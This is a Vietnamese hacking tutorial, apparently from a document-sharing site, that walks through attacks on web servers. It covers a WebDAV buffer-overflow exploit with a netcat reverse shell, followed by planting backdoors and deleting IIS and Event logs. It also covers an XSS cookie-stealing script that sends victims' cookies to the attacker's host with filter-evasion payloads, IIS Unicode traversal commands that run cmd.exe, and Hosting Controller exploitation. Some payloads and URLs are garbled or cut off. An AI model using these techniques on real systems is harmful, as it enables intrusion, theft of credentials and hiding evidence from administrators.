Tải bản đầy đủ (.pdf) (12 trang)

Những hiểu biết cơ bản nhất để trở thành Hacker phần 4 pot

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (115.66 KB, 12 trang )

Những hiểu biết cơ bản nhất để trở thành Hacker phần 4

trang này đã được đọc lần
50 . ) Kỹ thuật hack server thông qua lỗi tràn bộ đệm WebDAV :

Giới thiệu : Giao thức World Wide Web Distributed Authoring and
Versioning (WebDAV) là một tập hợp các mở rộng cho giao thức
HTTP dùng để cung cấp một cách thức chuẩn cho việc biên tập và
quản lý file giữa các máy tính trên Internet. Lỗi tràn bộ đệm đã được
phát hiện trong một thành phần của Windows 2000 được sử dụng
bởi WebDAV có thể cho phép kẻ tấn công chiếm quyền điều khiển
máy tính .
Chuẩn bị : Ngoài những đồ nghề đã giới thiệu ở các bài trước , các
bạn hãy vào down thêm www32.brinkster.com/anhdenday/wb.zip
extract để ở trong C:\
Khai thác :
+ Tìm một trang Web dùng IIS 5.0
+ Vào Dos , vào đặt NETCAT ở chế độ lắng nghe :
C:\>nx -vv -l -p 53
listening on [any] 53
Ta để nó lắng nghe ở cổng 53 vì tường lửa ko chặn cổng này .

+ Mở thêm một của sổ DOS nữa .
+ Ta sử dụng WebDAV vừa down về .

c:\wb.exe <IP của máy chủ IIS> <IP của máy tính của mình dùng để
tấn công> <cổng lắng nghe> [padding=1,2,3 ]

VD :
C:\> webdav xxx.xxx.xxx.xxx 203.162.xxx.xxx 53 1
[Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt]


www.coromputer.net && undernet #coromputer

Checking WebDav on 'xxx.xxx.xxx.xxx' FOUND
exploiting ntdll.dll through WebDav [ret: 0x00100010]
Connecting CONNECTED
Sending evil request SENT
Now if you are lucky you will get a shell.
+ Nếu như may mắn bạn có thể lấy được shell của máy chủ IIS . Nếu
như ở máy tính dùng để tấn công hiện ra kết quả như sau thì bạn đã
có shell rồi đó :
C:\>nc -vv -l -p 53
listening on [any] 53
connect to [203.162.xxx.xxx] from xxx.xxx.xxx.xxx[xxx.xxx.xxx.xxx]
1125
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32> < OK đã thành công rùi.
+ Khi đã có shell rồi việc đầu tiên là ta sử dụng các lệnh trong Unix
để khai thác , sau đó up lên server vài con backdoor , he he . ( Sử
dụng con WinShell, Hack Defensed là ok rùi ) .
+ Sau khi làm xong ta sẽ xoá file log , để xác định file log ta thực
hiện câu truy vấn sau :
C:\WINNT\system32>reg query
HKLM\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters /v
LogFileDirectory ! REG.EXE VERSION 2.0
kết quả nó sẽ xuất hiện link để ta xác định file log :
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\
Parameters LogFileDirectory REG_SZ C:\WINNT\System32\LogFiles
He he , đường dẫn file log là C:\WINNT\System32\LogFiles

+ Ta tạo một file a.bat trên máy của nạn nhân để thực hiện việc xoá
file log này , ta đánh các lệnh sau :
C:\WINNT\system32>echo iisreset /stop >a.bat ' tạm dừng server
IIS
C:\WINNT\system32>echo rd /q /s C:\WINNT\System32\LogFiles
>>a.bat ' xóa nhật kí của IIS
C:\WINNT\system32>echo iisreset /start >>a.bat ' khởi động lại IIS
C:\WINNT\system32>echo ce >>a.bat ' xóa nhật kí của Event Log
C:\WINNT\system32>echo del a.bat >>a.bat ' xóa file a.bat
+ Sau đó ta dùng các lệnh sau để cho flie a.bat kia làm việc :
C:\WINNT\system32>net time \xxx.xxx.xxx.xxx ' lấy thời gian hiện
tại của máy chủ
Nó sẽ cho kết quả như VD sau :
Current time at \xxx.xxx.xxx.xxx is dd/mm/yy 3:00 PM
The command completed successfully
Như vậy thờI gian hiện tạI trên máy chủ là 15:00 , ta sẽ cho file
a.bat làm việc sau 5 phút nữa bằng lệnh sau :
C:\WINNT\system32>at 15:05 a.bat
Added a new job with job ID = 1
Ta có thể mặc đinh cho file a.bat tự động làm việc sau bao lâu là tuỳ
vào thông số thời gian bạn đưa vào .
Ta thoát khỏi máy chủ bằng lệnh :

C:\WINNT\system32>exit ' đóng kết nối
sent 207, rcvd 746
+ Lúc này thì mấy admin có tài thánh cũng ko biết là đã có người
thâm nhập.
_ Sau này các bạn muốn quay lại cái server trên thì ta đột nhập trực
tiếp thông qua backdoor các bạn đã up lên.
_ Kèm theo file Wb.exe tôi đã để thêm 2 file nữa đó là :

+ xoafilelog.exe : dùng để xoá file log trong server của victim .
+ wbscaniis.xpn : dùng để quét xem server victim có bị lỗi này cho ta
khai thác hay không , các bạn tự tìm hiểu để sử dụng chúng nhé.
51 . ) Lỗi CROSS SITE SCRIPTING và cách khai thác :

Giới thiệu : Lỗi XSS ( tên gọi của Cross-Site Scripting ) nói nôm na là
hacker có thể thông qua lỗi này để chèn code vào site hay link để
chôm các thông tin quan trọng từ nạn nhân, các thông tin quan trọng
ở đây có thể là cookie hoặc username + pass để vào tài khoản 1
ngân hàng nào đó sau đó thông tin này được gửi tới cho hacker .
Chuẩn bị :
+ Lấy đoạn code sau save lại thành file cookie.asp rồi up lên host của
bạn có hỗ trợ asp ( như brikster.com ) :
<%
Set x = CreateObject("Scripting.FileSystemObject")
Set y = x.OpenTextFile(Server.MapPath("mask.txt"), 8, true)
y.WriteLine Request.QueryString("cookie")
y.Close
Set y = Nothing
Set x = Nothing
%>
Kiểm tra trang Web bị lỗi :
+ 1 site bất kì bao giờ cũng có 1 hoặc tất cả các phần sau : search
results, error messages , Web-form , chủ yếu lỗi XSS nằm ở các phần
này , nói chung là XSS có thể xảy ra ở chỗ nào mà người dùng có thể
nhập dữ liệu vào và sau đó sẽ nhận được 1 cái gì đó .
+ Cách tìm lỗi ta chia thành 4 bước :
Bước 1 : Mở website cần kiểm tra .
Bước 2 : Bắt đầu kiểm tra , định vị 1 ô tìm kiếm hoặc 1 login form và
gửi thông tin đi (nhập thông tin và nhấn submit hay login hay ok gì

đó ) , ví dụ nhập chữ "abc" chẳng hạn hay chữ gì cũng được .
Bước 3 : Xác định khả năng site có bị lỗi XSS hay không bằng cách
xem thông tin trả về :
Ví dụ bạn thấy như thế này :
"Your search for 'abc' did not find any items"
"Your search for 'abc' returned the following results"
"User 'abc' is not valid"
"Invalid login 'abc'"
hoặc là cái gì đó mà có dính tới chữ "abc" mà bạn nhập vào ban đầu
thì 99% thằng này bi XSS

Bước 4 : Chèn code thực sự vào nơi bị lỗi :
chèn cái này :

<script>alert('abc')</script>

vào ô ban nãy và nhấn SUBMIT . Nếu sau đó bạn nhận được 1 popup
có chữ "abc" thì thằng này 100% bị dính XSS . Nhưng xin chú ý ,
thỉnh thoảng vẫn có trường hợp website đó bị dính XSS nhưng vẫn
không xuất hiện cái popup thì buộc lòng bạn phải VIEW SOURCES nó
ra để xem . Khi view sources nhớ kiếm dòng
này<script>alert('abc')</script> , nếu có thì XSS đây rồi .
Một ví dụ khác thường gặp hơn :
Gọi là site bị dính lỗi XSS và ta tìm được nơi bị lỗi
như thế này : <script> , nghĩa
là ta có thể chèn code ngay trên thanh ADDRESS .
Tôi không thể trình bày hết mọi tình huống được , cái mà các bạn
cần là hiểu ra vấn đề thì bạn sẽ hiểu được khi nào bị lỗi .
Khai thác :
+ Lấy lại ví dụ site bị XSS trên thanh address , để lấy cookie của nạn

nhân ta làm như thế này :

địa chỉ trang Web ta vừa up file cookie. asp lên
/cookie.asp?cookie="+document.cookie)</script>
thì ngay lập tức đoạn code đã được chèn vào trong web page , và
trông như vầy :
<HTML>
<TITLE> Hello all! </TITLE>
hello
<script>window.open("địa chỉ trang Web ta vừa up file cookie.asp
lên /cookie.asp?cookie="+document.cookie)</script>

</HTML>
Với đoạn code này thì trình duyệt sẽ thi hành đoạn code và sau đó sẽ
gửi toàn bộ cookie tới cho bạn ở dạng file .txt và bạn chỉ việc mở file
này ra xem .
+ Vậy gặp trường hợp nhà quản trị hạn chế sự xâm nhập bằng cách
lọc bỏ các ký tự đặc biệt ta phải làm sao ? Các bạn thử cách thay thế
các ký tự đó bằng các mã đại diện . VD :

* Nếu "Bộ lọc" loại bỏ 2 kí tự "<" và ">" :
Hacker sẽ dùng "\x3c" và "\x3e" để thay thế và bắt đầu chèn code
với

') + ') + '\x3cscript
src= />\x3e\x3c/script\x3e'

Để tìm hiểu thêm về mã đại diện các bạn hãy download tại :
www32.brinkster.com/anhdenday/ascii.zip về nghiên cứu .


+ Biến các đoạn code nguy hiểm thành lời chú giải (comment) :
Ví dụ khi hacker nhập vào <script>code</script> thì sẽ bị chặn như
sau :
<COMMENT>
<!
code (không được phân tích bởi bộ lọc)
// >
</COMMENT>
Vượt qua cái này cũng rất dễ bằng cách dùng thẻ đóng
</COMMENT> để đóng cái <COMMENT> kia . Nghĩa là ta chèn cái
này vào :

<script>

</COMMENT>
<img src="http://none" onerror="alert(abc was here);window.open(
cument.cookie);
"></script>


lúc này đoạn lọc code ban đầu trở thành :

<COMMENT>
<!
- >
</COMMENT>
<img src="h*tp://none" onerror="alert(abc was here);window.open(
cument.cookie); ">
</script>
</COMMENT>

và thế là bộ lọc bị vô hiệu hoá 1 cách nhanh chóng .
52 . ) Tìm hiểu về lỗ hổng Unicode trong Microsoft IIS :

Giới thiệu: Microsoft IIS là một phần mềm web server. Nó chứa tất
cả file của một website, và làm chúng có hiệu lực cho mọi người
dùng trên internet. Nhưng như tất cả các phần mềm khác, (đặc biệt
là của Microsoft) nó có lỗ hỏng bảo mật Unicode trong IIS của
Microsoft, nhưng "không may" những người quản trị thì lại không
quan tâm đến việc cài đặt những patch fix lỗi đó. Trong bài hướng
dẫn này, ta thảo luận về cách mà lỗi này hoạt động, và Tại sao nó
hoạt động được.

Khi bạn viếng thăm một website, địa chỉ của file bạn hiện giờ đang
xem sẽ giống như sau:



Đây là remote address của web server, hiển thị trên thanh address
của trình duyệt. Bất kỳ ai cũng có thể truy cập nó trên internet. Khi
vào site này, web server sẽ đưa cho bạn file index, (index.html hay )
của root folder web server. Hầu hết những root folder của một web
server là:

C:\inetpub\wwwroot

Đây là thư mục local của web servers, nơi cất giữ tất cả các trang
chính của website. Vì vậy nếu bạn gõ địa chỉ sau:




Ở trình duyệt, web server sẽ đưa cho bạn local file của nó:

c:\inetpub\wwwroot\index.html

Tôi hy vọng bạn sẽ không quá nhàm chán, việc quan trọng nhất là
bạn phải hiểu được sự khác nhau giữa địa chỉ local và remote.

Bây giờ, cái gì sẽ xảy ra nếu ta muốn di chuyển một cặp thư mục lên
web server? Ta muốn di chuyển từ c:\inetpub\wwwroot Đến c:\
chúng ta sẽ làm như thế nào? Bạn không thể gõ:


Chú thích Web server sẽ bắt đầu đi qua local của nó

c:\inetpub\wwwroot

Đối với những thư mục riêng, và do bạn không thể có : trong thư
mục, nó sẽ đỗ vỡ và bạn nhận được thông báo lỗi trong trình duyệt.
Tiếc quá! nó không hoạt động.
Nếu đã quen với FTP, thì bạn cũng biết lệnh DIRUP dùng để làm gì.
Lệnh để đi đến một thư mục ở trên là
/ /
Nếu bạn thiết kế bất kỳ web hay mã html nào thì chắc chắn bạn sẽ
dùng được rất nhiều.
Vì thế ta chỉ đặt lệnh lẫn nhau, giống như sau

/ /

Và bắt đầu truy cập vào ổ đĩa c local của server?
Tốt, ta bắt đầu khai thác ở đây, nhưng người tạo IIS lại muốn tránh

phiền phức, bằng cách làm server từ chối loại yêu cầu này.Vì thế ta
phải làm gì đây?Bạn có bao giờ thử download một file mà trong tên
của nó có khoảng trống chưa?
Bạn có nhận được thông báo là trình duyệt đã biến đổi khoảng trống
đó thành %20 không?
Hãy làm 1 ví dụ. Nếu bạn gõ cái này trong trình duyệt:

Unicode hole.txt

Trình duyệt sẽ thay thế khoảng trống bằng %20 :



Và sau đó mới cho phép bạn download file.
Đó là cái gì, và tại sao trình duyệt lại phải làm như thế?
Máy tính không thể hiểu được khoảng trống. Đơn giản là chúng
không làm được vậy thôi.
%20 ở đây chính là Unicode cho ký tự ASCII mà ta hay gọi là
“khoảng trống”.
Ký tự ASCII là những ký tự mà ta thấy trên màn hình khi dùng máy
tính. Chỉ có một Unicode cho mỗi ký tự ASCII. Vì thế, khi bạn đưa
một khoảng trống vào trình duyệt, nó phải được thay thế bằng cái gì
mà cho máy tính có thể hiểu được trước khi nó bắt đầu tìm kiếm.
Để tìm hiểu thêm về ASCII các bạn down tại :
www32.brinkster.com/anhdenday/ascii.zip
Từ khi trình duyệt biến đổi khoảng trống thành ký tự Unicode mới và
gửi chúng đến web server mà có thể hiểu được, ta cũng có thể dùng
ký tự Unicode để giải thích bất cứ thứ gì ta muốn, và web server sẽ
cũng hiểu được chúng. Không chỉ với khoảng trống. Mà ta cũng có
thể biến đổi lệnh DIRUP thành Unicode, và gửi chúng đến server. Ta

cần biến đổi dấu gạch chéo (/) thành / / / trong Unicode. Unicode
của / là %5C .
Thật là tuyệt, nếu sau đó tôi chỉ cần gõ

%5C %5C/

và tôi có thể thấy host được không?
Khai thác ở đây, nhưng có một vài lý do nó không hoạt động.
Đầu tiên, nếu bạn đã làm với server’s local c:\ Bạn sẽ cần một vài
thứ để đóng thư mục. Web server sẽ không làm như vậy cho bạn. Vì
vậy chúng ta cần mở cmd.exe (dấu nhắc DOS) của server. Trong
trình duyệt của bạn! Nhưng chúng ta sẽ quay lại vấn đề này sau.
Thứ hai, khi server giải mã / %5C %5C/
Nó sẽ thành / / / mà lại bị hạn chế, và sau đó từ chối yêu cầu. Vì
thế ta cần phải làm gì, hay mã hoá Unicode đã mã hóa rồi một lần
nữa. Có thể bạn sẽ không theo tôi ngay bây giờ, nhưng tôi sẽ cố
gắng giải thích một lần nữa. Ta cần mã hoá mọi ký tự của chuỗi
Unicode đã có.
Xem bảng dưới sẽ hiểu hơn.
COLOR=purple]ASCII UNICODE[/COLOR]
% %25
5 %35
C %43
Vì vậy khi ta mã hóa ký tự ASCII / %5C %5C/
Sang Unicode, ta được %25%35%43 %25%35%43
Và khi server đọc chuỗi ký tự này, nó sẽ trở lạI / %5C %5C/
Đó không phải là lệnh DIRUP bình thường, nên nó được cho phép.
Nhưng có một vài thứ chúng ta cần biết. Như tôi đã đề cập ở trước,
khi bạn kết nối đến một web server, thư mục root mặc định là
wwwroot. Thư mục này những trang chính của site. Nhưng có những

thư mục khác cho những trang web như yếu tố scripts. Những thư
mục này có chứa file mà có khá nhiều thứ quan trọng trong web
server. Vì vậy khi vận dụng server, ta cần làm nó từ thư mục mà ta
đã có đặc quyền để làm. Điều này không khó; Tôi chỉ muốn bạn hiểu
tại sao tôi thêm /scripts/ vào cuối URL.

Rốt cuộc, khi ta thi hành lệnh ở dấu nhắc server’s local dos prompt,
ta cần thi hành một lệnh cũng trong cái này. Ta muốn hiển thị c:\ ?
Dễ thôi; ta chỉ cần làm vài thủ thuật khác hơn bạn thường làm ở dấu
nhắc dos.

Bắt đầu cmd.exe theo cách sau:

cmd.exe?/c+

? = Mọi thứ sau dòng đối số của lệnh.
/c = Thi hành lệnh, sau đó đóng cmd.exe (để cho nó không chạy
mãi)
+ = Thay thế cho khoảng trống

Cuối cùng, toàn bộ lệnh ráp lại sẽ như sau:

%25%35%43 %25%35%43/win
nt/system32/cmd.exe?/c+dir+c:\

Và bạn thấy được c:\ của servers bên trong trình duyệt. Hehe?

_ Chú thích: Có rất nhiều “lệnh” Unicode khác để cho ta thi hành,
nếu cái này không hoạt động (có thể server đã fix được phần nào)
thì thử áp dụng những cách sau:

/msadc/ %c0%af / %c0%af / %c0%af /winnt/system32/cmd.exe
?/c+dir+C:\
/_vti_bin/ %c0%af %c0%af %c0%af %c0%af %c0%af /winnt/s
ystem32/cmd.exe?/c+dir+C:\ …….
53 . ) Kỹ thuật hack Hosting controller :

Tìm site bị lỗi : vào Google.com đánh vào một trong các từ khoá sau
:

+ copyright Hosting Controller .
+ allinurl:/advadmin .
+ allinurl:/admin .

Sau khi tìm được ta thử xét trang Web đó có bị lỗi hay ko bằng cách
sử dụng 2 đoạn code :

admin*/stats/statsbrowse.asp?filepath=c:\&Opt=3
( Lệnh này xem ổ đĩa của victim )

www.victim.com/advwebadmin/autosignup/newwebadmin.asp
( Lệnh này tạo một free hosting )
Nếu như 2 lệnh trên cùng thực hiên được thì ta có thể khai thác
chúng được rồi đó , he he .
Cách khai thác :
+ Vì tạo được hosting nên ta có thể upload được file vô tư , các bạn
hãy chú ý thử xem địa chỉ mà cất các file ta vừa upload lên ở đâu (
bằng cách nhìn vào thanh statup ) .
+ Tiếp theo là ta làm sao chuyển cái file đó vào thư mục chứa trang
chủ của nạn nhân , theo mặc định nó sẽ nằm ở đây :


C:\Program Files\Advanced Communications\NT Web Hosting
Controller\web\
( Các bạn có thể thay ổ C:\ bằng D:\ , E:\ )

+ Khi xác định được chính xác địa chỉ rùi ta sẽ tìm đoạn script để làm
giúp :

http://[targethost]/admin/import/imp_rootdir.asp?result=1&www=C:
\&ftp=C:\( đường dẫn đến thư mục web victim )&owwwPa
th=C:\&oftpPath=C:\( đường dẫn đến thư mục ta vừa upload file )

+ Các bạn có thể test đường dẫn file up lên có chính xác không bằng
cách up lên file a.html bất kỳ , giả sử nó được up lên nằm ở
C:\Program Files\Advanced Communications\NT Web Hosting
Controller\web\admin\a.html ta sẽ test bằng cách đánh đường dẫn ở
URL :

www.victim/admin[avdadmin]/a.html

+ Nếu như đúng là chính xác rồi thì chỉ cần up “Đồ nghề” lên là
xong.


×